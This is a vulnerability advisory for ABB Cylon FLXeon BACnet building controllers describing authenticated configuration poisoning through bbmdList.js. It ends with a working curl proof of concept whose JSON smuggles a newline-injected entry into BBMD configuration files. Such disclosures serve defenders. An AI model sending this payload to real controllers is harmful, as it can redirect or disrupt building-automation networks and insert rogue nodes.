ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.5

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller suffers from a configuration poisoning
vulnerability in the put() function of bbmdList.js, where the writeFile() function
is invoked to persist user-controlled data (req.body.bipList and req.body.natList)
directly into sensitive configuration files (/etc/bdt.txt and /etc/bdt2.txt). This
write operation lacks input validation and integrity checks allowing an attacker to
supply crafted JSON payloads to inject or overwrite trusted BACnet BBMD entries. As
these files are critical for network configuration, exploitation may result in unauthorized
network redirection, denial of service, or insertion of rogue nodes into the system,
thereby undermining the integrity and security of OT network communications.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5935
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5935.php


21.04.2024

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$ cat project

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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


$ curl -k -X PUT "https://7.3.3.1/api/bbmdList" \
> -H "Content-Type: application/json" \
> -d '{\
>    "bipList": [\
>      { "ip": "127.0.0.1", "port": "9999", "mask": "255.255.255.255" },\
>      { "ip": "MALFORMED_IP", "port": "notaport", "mask": "999.999.999.999" },\
>      { "ip": "1.2.3.4", "port": "80", "mask": "0.0.0.0\nInjekcija,23,0xdeadbeef" }\
>    ],\
>    "natList": [\
>      { "ip": "10.0.0.1", "port": "22", "mask": "255.255.255.0" }\
>    ]\
>  }'